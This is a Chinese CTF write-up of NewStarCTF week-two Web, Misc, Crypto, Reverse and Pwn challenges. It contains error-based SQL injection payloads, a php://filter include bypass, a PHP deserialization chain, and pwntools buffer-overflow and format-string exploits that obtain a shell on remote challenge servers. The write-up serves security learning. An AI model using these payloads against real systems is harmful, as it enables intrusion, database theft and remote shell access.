前言

这些天也是比较忙,赶下第二周的writeup。(剩下几周的我会赶的呜呜)

以下是解题情况

难度还可以,是我太菜了。

Web

Web1.Word-For-You(2 Gen)

题目可以用sqlmap一把梭,不过不推荐。

这里用报错注入

  
查库

1' and updatexml(1,concat(0x7e,database(),0x7e),1)#

>XPATH syntax error: '~wfy~'

  
查表

1' and updatexml(1,concat(0x7e,(select right(group_concat(table_name),30) from information_schema.tables where table_schema=database()),0x7e),1)#

>XPATH syntax error: '~n,wfy_comments,wfy_information~'

查询wfy_comments库字段及内容

1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='wfy_comments'),0x7e),1)#

>XPATH syntax error: '~id,text,user,name,display~'

1' and updatexml(1,concat(0x7e,(select right(group_concat(text),27) from wfy.wfy_comments),0x7e),1)#

>XPATH syntax error: '~flag{Ju4t_m2ke_some_err0rs}~'


Flag:flag{Ju4t_m2ke_some_err0rs}

Web2.IncludeOne

PHP伪随机数+伪协议Bypass

<?php
highlight_file(__FILE__);
error_reporting(0);
include("seed.php");
//mt_srand(*********);
echo "Hint: ".mt_rand()."
";
if(isset($_POST['guess']) && md5($_POST['guess']) === md5(mt_rand())){
    if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
        //flag in `flag.php`
        include($_GET['file']);
    }else{
        echo "Baby Hacker?";
    }
}else{
    echo "No Hacker!";
} Hint: 1219893521
No Hacker!

第一层php伪随机数

首先下载出题人给的工具php_mt_seed 使用4.0版本

./php_mt_seed 1219893521


使用第一个seed,然后带到php里去跑。


第一个是hint给我们的种子,那么第二个就是我们所需要的

Post:guess=1202031004

第二层伪协议

if(!preg_match("/base|\.\./i",$_GET['file']) && preg_match("/NewStar/i",$_GET['file']) && isset($_GET['file'])){
        //flag in `flag.php`
        include($_GET['file']);

要使include($_GET[‘file’]);包含到flag就需要用到php://filter用法,但我们常用一般都是php://filter/read=conver.base64-encode/resource=xxxx

base被禁用了,且需要payload里含有NewStar

这里可以用rot13+字段。

php://filter/read=string.rot13|NewStar|/resource=flag.php

最终payload:

Web3.UnserializeOne

<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
    public $name;
    protected $func;


    public function __destruct()
    {
        echo "Welcome to NewStarCTF, ".$this->name;
    }


    public function __isset($var)
    {
        ($this->func)();
    }
}


class Sec{
    private $obj;
    private $var;


    public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }


    public function __invoke()
    {
        echo file_get_contents('/flag');
    }
}


class Easy{
    public $cla;


    public function __call($fun, $var)
    {
        $this->cla = clone $var[0];
    }
}


class eeee{
    public $obj;


    public function __clone()
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }
}


if(isset($_POST['pop'])){
    unserialize($_POST['pop']);
}

附学弟的Payload:

<?php
class Start
{
    public $name;
    public $func;
    public function __destruct()
    {
        echo "Welcome to NewStarCTF, ".$this->name;
    }
    public function __isset($var)
    {
        ($this->func)();
    }
}
class Sec
{
    public $obj;
    public $var;
    public function __construct($a, $b)
    {
        $this->obj=$a;
        $this->var=$b;
    }
    public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }
    public function __invoke()
    {
        echo "afdfdsaf";
    }
}
class Easy
{
    public $cla;
    public function __call($fun, $var)
    {
        echo $this->cla = clone $var[0];
    }
}
class eeee
{
    public $obj;
    public function __clone()
    {
        if (isset($this->obj->cmd)) {
            echo "success";
        }
    }
}
$a=new Start();
$b=new Easy();
$c=new eeee();
$c->obj=$a;
$d=new Sec($b, $c);
$a->name=$d;
$a->func=$d;
echo serialize($a);
O:5:"Start":2:{s:4:"name";O:3:"Sec":2:{s:3:"obj";O:4:"Easy":1:{s:3:"cla";N;}s:3:"var";O:4:"eeee":1:{s:3:"obj";r:1;}}s:4:"func";r:2;}

Misc

Misc1.Yesec no drumsticks 2

下载文本记事本打开,win11独特的识别看出来是零宽,零宽解密



之后就是base58 + 16进制



Flag:flag{Ingr3d1ent_0F_Yesec_i5_OOOOO}

Misc2.Coldwinds’s Desktop

拼图题


用montage将小图拼到大图,最后gaps还原大图中图片顺序

小图宽高为30*30

montage拼大图:

magick montage *.png -geometry +0+0 flag.jpg


gaps恢复:

gaps --image=flag.jpg --generations=30 --population=120 --size=30 --save

重要的是这个–size参数,要设置成小图的高宽,其它的参数可以参考网上的文章设置。

最后gaps恢复完许多人应该是这个样子


虽然有flag,但是还有一部分没还原,这张图片上面的部分没有成功恢复。

这里的原因就是因为montage拼图时 大图是12*12数量的小图,而与原图数量不符合,正确高宽应为16*9数量的小图。

所以montage要加参数-tile 16*9,然后gaps重新恢复得到最终大图

magick montage *.png -tile 16x9 geometry +0+0 flag.jpg


PS处理下即可
(这个拼的还是有点问题,之前的图拼的老完整了不过给我手贱删掉了。可能是参数的问题,不过也能看)

Flag:flag{Y0u_successfu11y_s01ved_the_puzz1e}

Misc3.奇怪的二维码

下载附件得到一个特殊的二维码:


第一眼中间应该是少了个码头,一个码头的二维码 直接想到阿兹特克码(Aztec_code)
同时这张图片尾部数据隐写也给了提示,foremost分离


(出题人也玩帝国时代,狂喜,看样子好像是帝国4,之前玩过一会感觉蒙古和中国贼变态,还得是你嗷)

尺寸为23*23

我们只需补齐中间的码头即可,在Github上看到一个aztec生成的项目 对着修改。https://github.com/delimitry/aztec_code_generator

这是生成的23*23 Aztec码


跟题目给的图片进行比对,发现题目图片中间少了9*9,那么将这张图片9*9 copy到原图即可。

直接copy比较糊,最好一个个黑块拼,PS处理下就行。

这是拼好的:


将图片放到二维码扫描网站解码https://demo.dynamsoft.com/barcode-reader/


Flag:flag{Aztec_from_Age_0f_Empires}

Misc4.qsdz’s girlfriend 2

(出题人真该死啊(bushi)

下载附件得到,得到图片


题目提示的很明显了,这个图片是猫脸变换(Arnold)后的图片,用github的脚本解密。

这张图片这个n是真的误导,我一度以为是参数N,后来问出题人才发现是shuffle times。。。而且有bug,我一次循环就得到了flag

而且网上大部分脚本算法都是

# 按照公式坐标变换
new_x = (1 * x + a * y) % N     # 解密:上下对换,a变b,x变y,+变-
new_y = (b * x + (a * b + 1) * y) % N
arnold_image[new_x, new_y, :] = image[x, y, :]

但后面提示放出来才发现题目的算法是(不放hint我估计已经卡死在脚本这一块了)

x中a*y变成了b*y y同理 所以decode部分要变换为

new_x = ((a * b + 1) * x - a * y) % N
new_y = (-b * x + y) % N
arnold_image[new_x, new_y, :] = image[x, y, :]

最终脚本:

import numpy as np
import cv2




def arnold_encode(image, a, b):
    # 1:创建新图像
    arnold_image = np.zeros(shape=image.shape)  # 返回给定形状和类型的新数组,用0填充。img.shape返回img的长宽信息


    # 2:计算N
    h, w = image.shape[0], image.shape[1]  # image.shape[0],image.shape[1],image.shape[2]表示图像长,宽,通道数
    N = w  # 或N=w


    # 3:遍历像素坐标变换
    for x in range(h):
        for y in range(w):
            # 按照公式坐标变换
            new_x = (1 * x + b * y) % N     # 解密:上下对换,a变b,x变y,+变-
            new_y = (a * x + (a * b + 1) * y) % N
            arnold_image[new_x, new_y, :] = image[x, y, :]


    arnold_image = np.uint8(arnold_image)


    return arnold_image




def dearnold_encode(image, a, b):
    # 1:创建新图像
    arnold_image = np.zeros(shape=image.shape)  # 返回给定形状和类型的新数组,用0填充。img.shape返回img的长宽信息


    # 2:计算N
    h, w = image.shape[0], image.shape[1]  # image.shape[0],image.shape[1],image.shape[2]表示图像长,宽,通道数
    #N = w  # 或N=w
    N = w


    # 3:遍历像素坐标变换  
    for x in range(h):
        for y in range(w):
            # 按照公式坐标变换
            new_x = ((a * b + 1) * x - b * y) % N
            new_y = (-a * x + y) % N
            arnold_image[new_x, new_y, :] = image[x,y, :]


    arnold_image = np.uint8(arnold_image)


    return arnold_image




r = cv2.imread('girlfriend.png')


for i in range(0, 1):  # 遍历次数
    r = dearnold_encode(r, 0x726e, 0x6f6c64)


cv2.imshow("arnold", r)
cv2.waitKey(0)
cv2.destroyAllWindows()
cv2.imwrite('flag.png',r)

将a,b带入即可,运行。


Flag:flag{按理说这个点猪也该醒了}

Crypto

Crypto1.unusual_base

加密脚本:

from secret import flag
from Crypto.Util.number import *
from random import shuffle
from string import ascii_lowercase, ascii_uppercase, digits


alphabet = ascii_uppercase + ascii_lowercase + digits +'$&'
alphabet = list(alphabet)
bits = ''
pad_len = len(flag) % 3


for f in flag:
            bits += bin(f)[2:].rjust(8,'0')
bits += '0000'*pad_len
encoded = ''
shuffle(alphabet)
alphabet = "".join(alphabet)
for i in range(0, len(bits), 6):
    encoded += alphabet[int(bits[i:i+6], 2)]
encoded += '%'*pad_len
print(f'encoded = "{encoded}"')
print(f'alphabet = "{alphabet}"')

base64换表,刚好之前写过解密脚本,直接一把梭了。大家做这题可以看看其中加密的原理 这也是base64加密的原理,尝试解密能学到东西的。


Flag:flag{a1ph4bet_c0u1d_be_d1ffi3r3nt}

Crypto2.Affine

加密脚本:

from secret import flag
from Crypto.Util.number import *


a = getPrime(8)
b = getPrime(8)


ciphertext = []


for f in flag:
    ciphertext.append((a*f + b) % 0x100)


print(bytes(ciphertext))

题目给了ciphertext


思路就是我们已知flag格式为flag{,用这几个字符串来爆破得到a和b。之后再用得到的a和b爆破ascii表,带入(a*f + b) % 0x100如果结果为ciphertext那就是正确的字符串,最后拼接得到flag

之前的脚本删掉了,重新写了个比较麻烦的。

from Crypto.Util.number import *
import string


ls = []
for i in range(500): #取N为8的素数
    n = getPrime(8)
    if n not in ls:
        ls.append(n)
ls.sort()
#print(ls)
#[131, 137, 139, 149, 151, 157, 163, 167, 173, 179, 181, 191, 193, 197, 199, 211, 223, 227, 229, 233, 239, 241, 251]
flag = b"flag{"
cipher = b"\xb1\x83\x82T\x10\x80\xc9O\x84\xc9<\x0f\xf2\x82\x9a\xc9\x9b8'\x9b<\xdb\x9b\x9b\x82\xc8\xe0V"
n = 0
for a in ls: #爆破a和b
    for b in ls:
        s = 0
        for i in range(5):
            if (a*flag[i] + b) % 0x100 == cipher[i]:
                s += 1
        if s == 5:
            print(a,b)
            #163 191    
a,b = 163,191
table = string.printable.encode() #取ascii表
res = ""
for c in cipher:
    for i in table: #爆破flag
        if (a*i + b)%0x100 == c:
            res += chr(i)
print(res)

先爆破N为8的素数,得到列表ls,然后再爆破a和b,最后爆破flag明文。

百度了下Affine好像是仿射密码,不知道有没有非预期解。


Flag:flag{Kn0wn_p1aint3xt_4ttack}

Crypto3.robot

下载附件

from hashlib import sha256
from secret import flag
from base64 import *
import random


cipher = []


def fun1(x):
    return sha256(x.encode()).hexdigest()


def fun2(x):
    return pow(114514,ord(x),1919810)


def fun3(x):
    key = random.randint(0,1145141919810)
    ans = x.encode()
    if key & 1:
        ans = b32encode(ans)
    key >>= 1
    if key & 1:
        ans = b64encode(ans)
    key >>= 1
    if key & 1:
        ans = b16encode(ans)
    key >>= 1
    return ans


def encrypt(msg):
    res = []
    for i in msg:
        tmp = list(map(random.choice([fun1,fun2,fun3]),[i]))[0]
        res.append(tmp)
    return res


print(encrypt(flag))

密文:

['252f10c83610ebca1a059c0bae8255eba2f95be4d1d7bcfa89d7248a82d9f111', 1495846, 1452754, b'M4======', '021fb596db81e6d02bf3d2586ee3981fe519f275c0ac9ca76bbcf2ebb4097d96', '2e7d2c03a9507ae265ecf5b5356885a53393a2029d241394997265a1a25aefc6', '4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a', b'Tg==', '1b16b1df538ba12dc3f97edbb85caa7050d46c148134290feba80f8236c83db9', b'52304539505430395054303D', 'e3b98a4da31a127d4bde6e43033f66ba274cab0eb7eb1c70ec41402bf6273dd8', b'58773D3D', '3f39d5c348e5b79d06e842c114e6cc571583bbf44e4b0ebfda1a01ec05745d43', '4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce', '2e7d2c03a9507ae265ecf5b5356885a53393a2029d241394997265a1a25aefc6', b'T0k9PT09PT0=', '18f5384d58bcb1bba0bcd9e6a6781d1a6ac2cc280c330ecbab6cb7931b721552', b'T0E9PT09PT0=', 825026, 'd2e2adf7177b7a8afddbc12d1634cf23ea1a71020f6a1308070a16400fb68fde', 1455816, b'4F553D3D3D3D3D3D', 1165366, 1242964, b'4F493D3D3D3D3D3D', 652094, 597296, '4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce', '4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a', b'54314539505430395054303D', 1242964, 368664, b'TVU9PT09PT0=', b'cw==', 1602214]

程序三种加密方式:sha1、pow和base64/32/16

sha1和pow爆破ascii表跟密文比较即可,base写一个循环解密 或者可以手解

payload:

from hashlib import sha256
import base64
import string
import re


table = string.printable


def fun1(x):
    for t in table:
        if sha256(t.encode()).hexdigest() == x:
            return t


def fun2(x):
    for t in table:
        if pow(114514,ord(t),1919810) == x:
            return t


def fun3(s):
    base16_dic = r'^[A-F0-9=]*$'
    base32_dic = r'^[A-Z2-7=]*$'
    base64_dic = r'^[A-Za-z0-9/+=]*$'


    n = 0
    while True:
        n += 1
        t = s.decode()
        try:
            if t != "":
                if re.match(base16_dic, t):
                    s = base64.b16decode(s)
                    print(str(s) + ' base16')
                elif re.match(base32_dic, t):
                    s = base64.b32decode(s)
                    print(str(s) + ' base32')
                elif re.match(base64_dic, t):
                    s = base64.b64decode(s)
                    print(str(s) + ' base64')
        except:
            return t


cipher = ['252f10c83610ebca1a059c0bae8255eba2f95be4d1d7bcfa89d7248a82d9f111', 1495846, 1452754, b'M4======', '021fb596db81e6d02bf3d2586ee3981fe519f275c0ac9ca76bbcf2ebb4097d96', '2e7d2c03a9507ae265ecf5b5356885a53393a2029d241394997265a1a25aefc6', '4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a', b'Tg==', '1b16b1df538ba12dc3f97edbb85caa7050d46c148134290feba80f8236c83db9', b'52304539505430395054303D', 'e3b98a4da31a127d4bde6e43033f66ba274cab0eb7eb1c70ec41402bf6273dd8', b'58773D3D', '3f39d5c348e5b79d06e842c114e6cc571583bbf44e4b0ebfda1a01ec05745d43', '4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce', '2e7d2c03a9507ae265ecf5b5356885a53393a2029d241394997265a1a25aefc6', b'T0k9PT09PT0=', '18f5384d58bcb1bba0bcd9e6a6781d1a6ac2cc280c330ecbab6cb7931b721552', b'T0E9PT09PT0=', 825026, 'd2e2adf7177b7a8afddbc12d1634cf23ea1a71020f6a1308070a16400fb68fde', 1455816, b'4F553D3D3D3D3D3D', 1165366, 1242964, b'4F493D3D3D3D3D3D', 652094, 597296, '4e07408562bedb8b60ce05c1decfe3ad16b72230967de01f640b7e4729b49fce', '4b227777d4dd1fc61c6f884f48641d02b4d121d3fd328cb08b5531fcacdabf8a', b'54314539505430395054303D', 1242964, 368664, b'TVU9PT09PT0=', b'cw==', 1602214]


flag = ""
for i in cipher:
    if type(i) == str:
        flag += fun1(i)
    elif type(i) == int:
        flag += fun2(i)
    elif type(i) == bytes:
        flag += fun3(i)
print(flag)


Flag:flag{c4Nn0t_D3crYpt_buT_r3p34t_Yes}

Reverse

Reverse1.前可见古人,后得见来者

32位程序。IDA打开 关键函数:


sub_4113DE加密函数


上面一部分是凯撒加密,可以先不管

主要是最后^0x22的部分,直接将题目给的密文异或下就行。

byte_41A004:

ciphers = b"Q[LVYMPVTC}LCS}PCS}GP}LCS}N@J_"
flag = ""
for cipher in ciphers:
    flag += chr(cipher ^ 0x22)
print(flag)
>synt{ortva_naq_raq_er_naq_lbh}

最后爆破下凯撒就得到flag了。


Flag:flag{begin_and_end_re_and_you}

Reverse2.FindME

64位程序,IDA关键函数:


程序经过sub_1BCD() 要使dword_5040为1即得到flag

跟进sub_1BCD()函数,发现有很多函数调用,以下是关键函数






大致就是定义了s变量长为32,用0填充。与输入的东西进行位运算 再异或等操作之后,得到数组dword_5020

反推的思路就是拿dword_5020数组的内容按加密的顺序一步步回推解密。


写解密脚本:

step1:异或+右移17

def step1(s):
    for i in range(8):
        s[i] ^= (s[i] >> 17)

step2:异或0x2022

def step2(s):
    for i in range(8):
        s[i] ^= 0x2022

step3:这一步是比较难的,我的做法是知道flag前缀 所以是拿前缀ascii推得到的规律。

按加密的来先推最大的,右移位数为24(8*3),然后每一次循环减去8。同时s的下标要减去byte_50A0[i + j] << (8 * j)(脚本中(ascii << 8*(4-(j+1)))的部分)再重新赋值,这一步是还原或运算(|)的操作。
最后把得到的ascii加到flag变量里就是最终的答案

def step3(s):
    flag = ['']*32
    for i in range(0,32,4):
        for j in range(4):
            ascii = s[i//4] >> 8*(4-(j+1))  #取ascii
            s[i//4] = s[i//4] - (ascii << 8*(4-(j+1)))
            flag[i+(4-(j+1))] = chr(ascii)
    print(''.join(flag))

最终脚本:


"""
__int64 sub_19B6()
{
int i; // [rsp+8h] [rbp-8h]
int j; // [rsp+Ch] [rbp-4h]

for ( i = 0; i <= 31; i += 4 )
{
for ( j = 0; j <= 3; ++j )
*((_DWORD *)s + i / 4) |= byte_50A0[i + j] << (8 * j);
}
return sub_19A1();
}p

"""
"""
__int64 sub_192E()
{
int i; // [rsp+Ch] [rbp-4h]

for ( i = 0; i <= 7; ++i )
*((_DWORD *)s + i) ^= 0x2022u;
return sub_1919();
}
"""
"""
__int64 sub_151D()
{
int i; // [rsp+Ch] [rbp-4h]

for ( i = 0; i <= 7; ++i )
*((_DWORD *)s + i) ^= *((_DWORD *)s + i) >> 17;
return sub_1508();
}
"""

"""
void sub_1253()
{
int i; // [rsp+Ch] [rbp-4h]

for ( i = 0; i <= 7; ++i )
{
if ( *((_DWORD *)s + i) != dword_5020[i] )
{
dword_5040 = 0;
break;
}
}
sub_123E();
}
"""
s = [0x67617FF4, 0x6E305341, 0x656C4DE0, 0x69744BEC, 0x625F7460, 0x6F7348F4, 0x656871C9, 0x7D216ED3]

def step1(s):
for i in range(8):
s[i] ^= (s[i] >> 17)

def step2(s):
for i in range(8):
s[i] ^= 0x2022

def step3(s):
flag = ['']*32
for i in range(0,32,4):
for j in range(4):
ascii = s[i//4] >> 8*(4-(j+1)) #取ascii
s[i//4] = s[i//4] - (ascii << 8*(4-(j+1)))
flag[i+(4-(j+1))] = chr(ascii)
print(''.join(flag))

step1(s)
step2(s)
step3(s)


Flag:flag{D0nt_let_time_bo_so_cheap!}

Pwn

Pwn1.uint32 and ret

64位程序,检查如下:


主要函数:


程序两次输入,第一次输入数字,要求为unsigned型,第二次根据nbytes进行读取。

漏洞处在于unsigned类型可以传负数(或传大于4294967295的数) 导致nbytes = nbytes - v2这里可以将nbytes变大,这样就可以在read处制造溢出。

同时程序存在后门:


那么直接跳转这个地址即可。

写脚本的时候直接跳地址还打不通,就本地调试了下。加了个rdi和ret就通了,多调试。

Payload:

from pwn import *


context.log_level='debug'


#p = gdb.debug('./uint','break 0x4011b6')
rdi = 0x00000000004012f3
ret = 0x0000000000401219


p = remote('node4.buuoj.cn',26296)


payload = b'a'*(0x48+8) + p64(rdi)  + p64(ret)  +  p64(0x4011b6)


log.info('length:%s'%len(payload))


p.sendlineafter('success!\n','-500')


p.recvuntil('twice')
p.sendline(payload)


p.interactive()

Pwn3.砍一刀

(这题可真有并夕夕那味啊)

题目源码:

#include<stdio.h>
#include<string.h>
#include <unistd.h>
#include <stdlib.h>
#include <time.h>


int init();
void game();
void getcard();
void getdiamond();
void success();
int cipher();


int diamond=5;


int init(){
    setvbuf(stdin, 0LL, 2, 0LL);
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stderr, 0LL, 2, 0LL);
}


void game(){
    float money=0;
    int key=0;
    printf("NewstarCTF送你现金红包啦!\n\n");
    sleep(1.5);
    printf("恭喜你成为幸运星,最高可提现100元红包!\n\n");
    sleep(1.5);
    printf("恭喜你获得一张百元现金卡,使用可以加速领红包!\n\n");
    printf("按回车键使用现金卡……\n\n");
    getchar();
    sleep(1.5);
    printf("成功使用百元现金卡,获得50元现金!\n\n");
    money+=50;
    sleep(1.5);
    printf("今日难度降低,送你30元现金!\n\n");
    money+=30;
    sleep(1.5);
    printf("第一次参加活动,再送你10元现金!\n\n");
    money+=10;
    sleep(1.5);
    printf("感谢你对NewstarCTF的大力支持,再送你9元现金!\n\n");
    money+=9;
    sleep(1.5);
    printf("真棒!仅剩1%%提现红包!\n\n");
    sleep(1.5);
    printf("还有66人正在提现红包,你的提现进度第一,将最先提现!\n\n");
    sleep(1.5);
    printf("回车一下,再砍一刀\n\n");
    getchar();
    sleep(1.5);
    printf("恭喜获得0.45元现金!\n\n");
    sleep(1.5);
    printf("送你现金翻倍卡,更快提现!\n\n");
    sleep(1.5);
    printf("翻倍生效中……成功翻2倍!\n0.45元----->0.9元\n\n");
    money+=0.9;
    sleep(1.5);
    printf("距离提现只有一步之遥啦,输入口令666领取红包!\n");
    cipher();
    printf("\n口令正确,送你0.05元现金!\n\n");
    sleep(1.5);
    printf("翻倍生效中……成功翻2倍!\n0.05元----->0.1元\n\n");
    money+=0.1;
    sleep(1.5);
    printf("恭喜你集齐100元红包!\n\n");
    sleep(1.5);
    printf("赶紧分享给好友庆祝一下吧!\n\n");
    sleep(1.5);
    printf("按回车键分享给好友~\n\n");
    getchar();
    printf("分享成功!\n\n");
    getcard();
}


void getcard(){
    srand((unsigned int)time(NULL));
    int luck=0;
    int coin=0;
    printf("有好友帮你砍一刀,成功获得500金币!\n");
    coin+=500;
    sleep(1.5);
    printf("有好友帮你砍一刀,成功获得400金币!\n");
    coin+=400;
    sleep(1.5);
    printf("=======================================\n");
    printf("集齐1000金币,兑换提现卡,马上提现红包!\n");
    printf("=======================================\n");
    sleep(1.5);
    printf("马上就能兑换提现卡啦,赶紧邀请好友帮你砍一刀吧!\n");
    printf("当前金币:%d个\n\n",coin);
    while(1){
        printf("按回车键邀请好友砍一刀,领取金币~\n");
        getchar();
        sleep(1);
        printf("有好友帮你砍一刀啦!");
        if(coin==999){
            luck=rand()%101;
            if((luck%10)==0){
                printf("==========================================================\n");
                printf("恭喜你触发隐藏福利,集齐10颗钻石兑换1金币,加速兑换提现卡!\n");
                printf("==========================================================\n");
                getdiamond();
            }
            else{
                printf("很遗憾本次未获得金币……\n");
            }
        }
        else{
            if(coin>=900&&coin<990){
                printf("成功获得10金币……\n");
                coin+=10;
            }
            else{
                printf("成功获得1金币……\n");
                coin+=1;
            }
        }
        printf("当前金币:%d个\n\n",coin);
    }
}  


void getdiamond(){
    int luck=0;
    char password[100];
    printf("======================\n");
    printf("你真幸运,送你5颗钻石!\n");
    printf("======================\n");
    sleep(1.5);
    printf("马上就能集齐钻石啦,赶紧邀请好友帮你砍一刀吧!\n\n");
    while(1){
        if(diamond==10){
            success();
        }
        else{
            printf("按回车键邀请好友砍一刀,领取钻石~\n");
            getchar();
            sleep(1);
            printf("有好友帮你砍一刀啦!");
            if(diamond==9){
                luck=rand()%101;
                if((luck%10)==0){
                    printf("===============================================================\n");
                    printf("你意外触发了隐藏福利!离成功就差一点点啦,输入神秘口令领取钻石!\n");
                    printf("===============================================================\n");
                    sleep(1);
                    printf("输入口令==>");
                    init();
                    read(0,password,101);
                    printf(password);
                }
                else{
                    printf("很遗憾本次未获得钻石……\n");
                }
            }
            else{
                printf("成功获得1钻石!\n");
                diamond+=1;
            }
        }
        printf("当前钻石:%d颗\n\n",diamond);
    }
}


void success(){
    printf("===================\n");
    printf("恭喜你集齐10颗钻石!\n");
    printf("===================\n");
    sleep(1.5);
    printf("按回车键兑换金币!\n\n");
    sleep(1.5);
    printf("金币兑换成功!\n\n");
    sleep(1.5);
    printf("===================\n");
    printf("恭喜你集齐1000金币!\n");
    printf("===================\n");
    sleep(1.5);
    printf("按回车键兑换提现卡!\n\n");
    sleep(1.5);
    printf("提现卡兑换成功!\n\n");
    sleep(1.5);
    printf("正在使用提现卡");
    sleep(1.5);
    printf("...");
    sleep(1.5);
    printf("...");
    sleep(1.5);
    printf("...\n");
    sleep(1.5);
    printf("恭喜你成功提现红包!正在飞速转账~");
    sleep(1.5);
    printf("...");
    sleep(1.5);
    printf("...\n");
    printf("转账成功!\n");
    system("/bin/sh");
}


int cipher()
{
    printf("==>");
    int n, judge;
    scanf("%d", &n);
    judge = getchar();
    while(n != 666)
    {
        fflush(stdin);
        printf("口令错误,请重新输入\n==>");
        scanf("%d", &n);
        judge = getchar();
    }
    return n;
}


int main(){
    init();
    game();
}

检查:


程序前面一部分回车即可,后面如果钻石为10 那么就可以跳转到success函数得到shell。

后面的部分会有概率得到一次read和printf的机会,也就是漏洞处


printf存在格式化字符串漏洞,上面的read溢出不了。

因此我们可以先用AAAAAAAA-%p-%p-%p-%p-%p-%p-%p-%p-%p这种方式找偏移,然后再利用偏移实现任意地址写,将diammand变量改为10,满足判断条件从而得到shell


测试得到偏移为8。那么我们要构造改写diammand的payload就是:

"%10c%10hhn".ljust(16, b'a') + p64(diamand) # 或"%10c%10n".ljust(16, b'a') + p64(diamand)

前面%10c是偏移8加2 要算上payload本身的长度 这里用了ljust就是16(8字节一位 就是16/8=2) 这样跳转到的第10位就是diammand的地址

然后%10hhn就是要改写内容为10。

发送回车之类的程序前面sendline()一下即可,到后面金币和钻石的部分写一个循环即可。

最终脚本:

from pwn import *


#context.log_level ='debug'


#p = process('./pwn')


p = remote('node4.buuoj.cn',28969)


print(p.recvline().decode())
p.recvuntil('……')
p.sendline()


p.recvuntil('再砍一刀')
p.sendline()


p.recvuntil('==>')
p.sendline('666')


p.recvuntil('分享给好友~')
p.sendline()


while True:
    content = p.recv().decode()
    print(content)
    if "领取金币~" in content:
        p.sendline()
    elif "领取钻石~" in content:
        p.sendline()
    elif "输入口令==>" in content:
        context.log_level ='debug'
        target = 0x00404090
        payload = b'%10c%10$hhn'.ljust(16, b'a') + p64(target)
        p.sendline(payload)
        break

print(p.recv())
p.interactive()